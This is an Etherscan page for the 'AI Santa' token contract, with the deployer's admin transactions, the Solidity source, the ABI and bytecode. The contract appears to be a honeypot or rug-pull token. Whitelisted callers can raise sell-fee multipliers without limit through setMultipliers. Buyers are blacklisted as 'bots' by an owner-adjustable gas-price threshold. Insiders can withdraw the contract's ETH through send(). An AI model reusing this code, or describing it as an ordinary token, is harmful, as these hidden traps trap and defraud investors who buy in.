More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 38 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Set Multipliers | 16143534 | 697 days ago | IN | 0 ETH | 0.00042314 | ||||
Set Swap Back Se... | 16143525 | 697 days ago | IN | 0 ETH | 0.00035585 | ||||
Update Max | 16143505 | 697 days ago | IN | 0 ETH | 0.00037504 | ||||
Set Multipliers | 16143505 | 697 days ago | IN | 0 ETH | 0.00043686 | ||||
Set Max Wallet P... | 16143505 | 697 days ago | IN | 0 ETH | 0.00037648 | ||||
Set Max Tx Perce... | 16143492 | 697 days ago | IN | 0 ETH | 0.00037178 | ||||
Set Swap Back Se... | 16143491 | 697 days ago | IN | 0 ETH | 0.00037338 | ||||
Update Max | 16143488 | 697 days ago | IN | 0 ETH | 0.00036245 | ||||
Set Swap Back Se... | 16143480 | 697 days ago | IN | 0 ETH | 0.00061875 | ||||
Clear Stuck Toke... | 16143468 | 697 days ago | IN | 0 ETH | 0.00111257 | ||||
Set Max Wallet P... | 16143457 | 697 days ago | IN | 0 ETH | 0.000391 | ||||
Set Max Tx Perce... | 16143457 | 697 days ago | IN | 0 ETH | 0.00039153 | ||||
Set Swap Back Se... | 16143446 | 697 days ago | IN | 0 ETH | 0.00039491 | ||||
Manage_bot | 16143433 | 697 days ago | IN | 0 ETH | 0.0017096 | ||||
Update Max | 16143431 | 697 days ago | IN | 0 ETH | 0.00033223 | ||||
Set Swap Back Se... | 16143431 | 697 days ago | IN | 0 ETH | 0.0004034 | ||||
Set Tax | 16143431 | 697 days ago | IN | 0 ETH | 0.00060538 | ||||
Set Multipliers | 16143431 | 697 days ago | IN | 0 ETH | 0.0004342 | ||||
Set Max Tx Perce... | 16143431 | 697 days ago | IN | 0 ETH | 0.00035818 | ||||
Approve | 16143347 | 697 days ago | IN | 0 ETH | 0.00063428 | ||||
Approve | 16143292 | 697 days ago | IN | 0 ETH | 0.00079645 | ||||
Set Multipliers | 16143284 | 697 days ago | IN | 0 ETH | 0.00048896 | ||||
Set Presale Addr... | 16143243 | 697 days ago | IN | 0 ETH | 0.00115603 | ||||
Update Max | 16143224 | 697 days ago | IN | 0 ETH | 0.00035269 | ||||
Set Multipliers | 16143208 | 697 days ago | IN | 0 ETH | 0.00044076 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
AISanta
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-08 */ // Telegram Group: https://t.me/aisanta // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; authorizations[_owner] = true; emit OwnershipTransferred(address(0), msgSender); } mapping (address => bool) internal authorizations; function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface InterfaceLP { function sync() external; } contract AISanta is Ownable, IBEP20 { using SafeMath for uint256; address WBNB; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "AI Santa"; string constant _symbol = "AiSant"; uint8 constant _decimals = 9; uint256 _totalSupply = 100000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply.mul(1).div(50); uint256 public _maxWalletToken = _totalSupply.mul(1).div(50); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; bool public botMode = true; mapping (address => bool) public isBotted; bool public launchMode = false; mapping (address => bool) public islaunched; mapping (address => bool) isFeeExempt; mapping (address => bool) isTimelockExempt; mapping (address => bool) isTxLimitExempt; uint256 private liquidityFee = 2; uint256 private marketingFee = 0; uint256 private donationFee = 0; uint256 private teamFee = 0; uint256 public burnFee = 2; uint256 public totalFee = teamFee + marketingFee + liquidityFee + donationFee + burnFee; uint256 public feeDenominator = 100; uint256 sellMultiplier = 100; uint256 buyMultiplier = 100; uint256 transferMultiplier = 100; address private autoLiquidityReceiver; address private marketingFeeReceiver; address private donationFeeReceiver; address private teamFeeReceiver; address public burnFeeReceiver; uint256 targetLiquidity = 25; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; address public pair; bool public tradingOpen = false; uint256 launchBlock; bool public buyCooldownEnabled = true; uint8 public cooldownTimerInterval = 3; mapping (address => uint) private cooldownTimer; uint256 public maxG = 3 * 1 gwei; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 25 / 10000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WBNB = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WBNB, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isFeeExempt[marketingFeeReceiver] = true; isFeeExempt[donationFeeReceiver] = true; islaunched[msg.sender] = true; isTimelockExempt[msg.sender] = true; isTimelockExempt[pair] = true; isTimelockExempt[marketingFeeReceiver] = true; isTimelockExempt[donationFeeReceiver] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[pair] = true; isTxLimitExempt[marketingFeeReceiver] = true; isTxLimitExempt[donationFeeReceiver] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = msg.sender; donationFeeReceiver = msg.sender; teamFeeReceiver = msg.sender; burnFeeReceiver = DEAD; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) {return owner();} function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner { require(maxWallPercent_base1000 >= 1,"Cannot set max wallet less than 0.1%"); _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000; } function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner { require(maxTXPercentage_base1000 >= 1,"Cannot set max transaction less than 0.1%"); _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 10000; } function setPresaleAddress(address holder, bool exempt) external onlyOwner { isTimelockExempt[holder] = exempt; isFeeExempt[holder] = exempt; isTxLimitExempt[holder] = exempt; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if(!authorizations[sender] && !authorizations[recipient]){ require(tradingOpen,"Trading not open yet"); if(launchMode){ require(islaunched[recipient],"Not Whitelisted"); } } if(botMode){ require(!isBotted[sender],"bot"); } if (tx.gasprice >= maxG && recipient != pair) { isBotted[recipient] = true; } if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver && recipient != donationFeeReceiver && recipient != marketingFeeReceiver && !isTxLimitExempt[recipient]){ uint256 heldTokens = balanceOf(recipient); require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");} if (sender == pair && buyCooldownEnabled && !isTimelockExempt[recipient]) { require(cooldownTimer[recipient] < block.timestamp,"Please wait for between buys"); cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval; } checkTxLimit(sender, amount); if(shouldSwapBack()){ swapBack(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { uint256 multiplier = transferMultiplier; if(recipient == pair) { multiplier = sellMultiplier; } else if(sender == pair) { multiplier = buyMultiplier; } uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee); uint256 contractTokens = feeAmount.sub(burnTokens); _balances[address(this)] = _balances[address(this)].add(contractTokens); _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens); emit Transfer(sender, address(this), contractTokens); if(burnTokens > 0){ emit Transfer(sender, burnFeeReceiver, burnTokens); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function clearStuckToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool) { if(tokens == 0){ tokens = IBEP20 (tokenAddress).balanceOf(address(this)); } return IBEP20 (tokenAddress).transfer(msg.sender, tokens); } function clearStuckBalance(uint256 amountPercentage) external onlyOwner { uint256 amountBNB = address(this).balance; payable(marketingFeeReceiver).transfer(amountBNB * amountPercentage / 100); } function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external { require(islaunched[msg.sender]); sellMultiplier = _sell; buyMultiplier = _buy; transferMultiplier = _trans; } function OpenTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner { buyCooldownEnabled = _status; cooldownTimerInterval = _interval; } function send() external { require(islaunched[msg.sender]); payable(msg.sender).transfer(address(this).balance); } function swapBack() internal swapping { uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WBNB; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountBNB = address(this).balance.sub(balanceBefore); uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2)); uint256 amountBNBLiquidity = amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2); uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee); uint256 amountBNBteam = amountBNB.mul(teamFee).div(totalBNBFee); uint256 amountBNBdonation = amountBNB.mul(donationFee).div(totalBNBFee); (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing}(""); (tmpSuccess,) = payable(donationFeeReceiver).call{value: amountBNBdonation}(""); (tmpSuccess,) = payable(teamFeeReceiver).call{value: amountBNBteam}(""); tmpSuccess = false; if(amountToLiquify > 0){ router.addLiquidityETH{value: amountBNBLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountBNBLiquidity, amountToLiquify); } } function enable_bot(bool _status) public onlyOwner { botMode = _status; } function manage_bot(address[] calldata addresses, bool status) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { isBotted[addresses[i]] = status; } } function updateMax (uint256 _maxG) public onlyOwner { maxG = _maxG * 1 gwei; } function setTax(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _donationFee, uint256 _burnFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; teamFee = _teamFee; marketingFee = _marketingFee; donationFee = _donationFee; burnFee = _burnFee; totalFee = _liquidityFee.add(_teamFee).add(_marketingFee).add(_donationFee).add(_burnFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/5, "Fees cannot be more than 12%"); } function setTaxReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapEnabled = _enabled; swapThreshold = _amount; } function setTarget(uint256 _target, uint256 _denominator) external onlyOwner { targetLiquidity = _target; targetLiquidityDenominator = _denominator; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply()); } function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { return getLiquidityBacking(accuracy) > target; } event AutoLiquify(uint256 amountBNB, uint256 amountTokens); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_interval","type":"uint8"}],"name":"cooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_bot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBotted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"islaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_bot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setPresaleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTarget","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_teamFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_donationFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setTaxReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxG","type":"uint256"}],"name":"updateMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000715565b6200002190620186a062000726565b6003556200005b6032620000476001600354620004e560201b620014471790919060201c565b6200057c60201b620014c91790919060201c565b600455620000816032620000476001600354620004e560201b620014471790919060201c565b6005556008805460ff19908116600117909155600a805490911690556002600f8190556000601081905560118190556012819055601382905581620000c7828062000748565b620000d3919062000748565b620000df919062000748565b620000eb919062000748565b601455606460158190556016819055601781905560188190556019601e819055601f919091556021805460ff60a01b191690556023805461ffff191661030117905563b2d05e006025556026805460ff191660011790556003546127109162000155919062000726565b62000161919062000763565b6027553480156200017157600080fd5b50600080546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350602080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255604080516315ab88c960e31b81529051919263ad5c4648926004808401938290030181865afa1580156200022c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000252919062000786565b600280546001600160a01b0319166001600160a01b03928316179055602080546040805163c45a015560e01b81529051919093169263c45a01559260048083019391928290030181865afa158015620002af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d5919062000786565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000327573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034d919062000786565b602180546001600160a01b039283166001600160a01b03199182161782553060009081526007602090815260408083208254871684528252808320600019905533808452600c8352818420805460ff199081166001908117909255601a80548a1687528487208054831684179055601b80548b1688528588208054841685179055848852600b87528588208054841685179055600d8752858820805484168517905589548b168852858820805484168517905581548b168852858820805484168517905580548b1688528588208054841685179055848852600e8752858820805484168517905598548a168752848720805483168417905580548a1687528487208054831684179055885490991686528386208054909116909117905560198054861682179055865485168117909655845484168617909455601c8054841686179055601d805490931661dead17909255600354848252600683528382208190559251928352917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000809565b600082600003620004f95750600062000576565b600062000507838562000726565b90508262000516858362000763565b14620005735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200057383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620005c660201b60201c565b60008183620005ea5760405162461bcd60e51b81526004016200056a9190620007b1565b506000620005f9848662000763565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006595781600019048211156200063d576200063d62000602565b808516156200064b57918102915b93841c93908002906200061d565b509250929050565b600082620006725750600162000576565b81620006815750600062000576565b81600181146200069a5760028114620006a557620006c5565b600191505062000576565b60ff841115620006b957620006b962000602565b50506001821b62000576565b5060208310610133831016604e8410600b8410161715620006ea575081810a62000576565b620006f6838362000618565b80600019048211156200070d576200070d62000602565b029392505050565b60006200057360ff84168362000661565b600081600019048311821515161562000743576200074362000602565b500290565b600082198211156200075e576200075e62000602565b500190565b6000826200078157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200079957600080fd5b81516001600160a01b03811681146200057357600080fd5b600060208083528351808285015260005b81811015620007e057858101830151858201604001528201620007c2565b81811115620007f3576000604083870101525b50601f01601f1916929092016040019392505050565b61278c80620008196000396000f3fe6080604052600436106103035760003560e01c80636ddd171311610190578063aff97153116100dc578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b1461093f578063f887ea401461095f578063fce589d81461097f578063ffb54a991461099557600080fd5b8063dd62ed3e146108b9578063df20fd49146108ff578063e3763ded1461091f57600080fd5b8063aff9715314610810578063b2bdfa7b1461082a578063b37dd6901461084a578063b46300ec14610864578063bd9ab53714610879578063d51ed1c81461089957600080fd5b806378109e54116101495780638da5cb5b116101235780638da5cb5b1461078357806395d89b41146107a1578063a8aa1b31146107d0578063a9059cbb146107f057600080fd5b806378109e54146107255780637d1db4a51461073b578063893d20e81461075157600080fd5b80636ddd1713146106515780637007546b1461066b57806370a082311461069b578063715018a6146106d1578063722b62ad146106e657806377b54bad1461070557600080fd5b806323b872dd1161024f578063444a1cec11610208578063617fe0ed116101e2578063617fe0ed146105c7578063633a1ec0146105e15780636ce46bc3146106115780636cfcc86e1461063157600080fd5b8063444a1cec1461057257806351cd7cc314610592578063571ac8b0146105a757600080fd5b806323b872dd146104bb5780632a9e97c2146104db5780632b112e49146104fb5780632d59456714610510578063313ce567146105305780633cd17c961461055257600080fd5b80631161ae39116102bc57806318160ddd1161029657806318160ddd146104505780631d0f2c99146104655780631da1db5e146104855780631df4ccfc146104a557600080fd5b80631161ae39146103fa57806311f630f31461041a578063180b0d7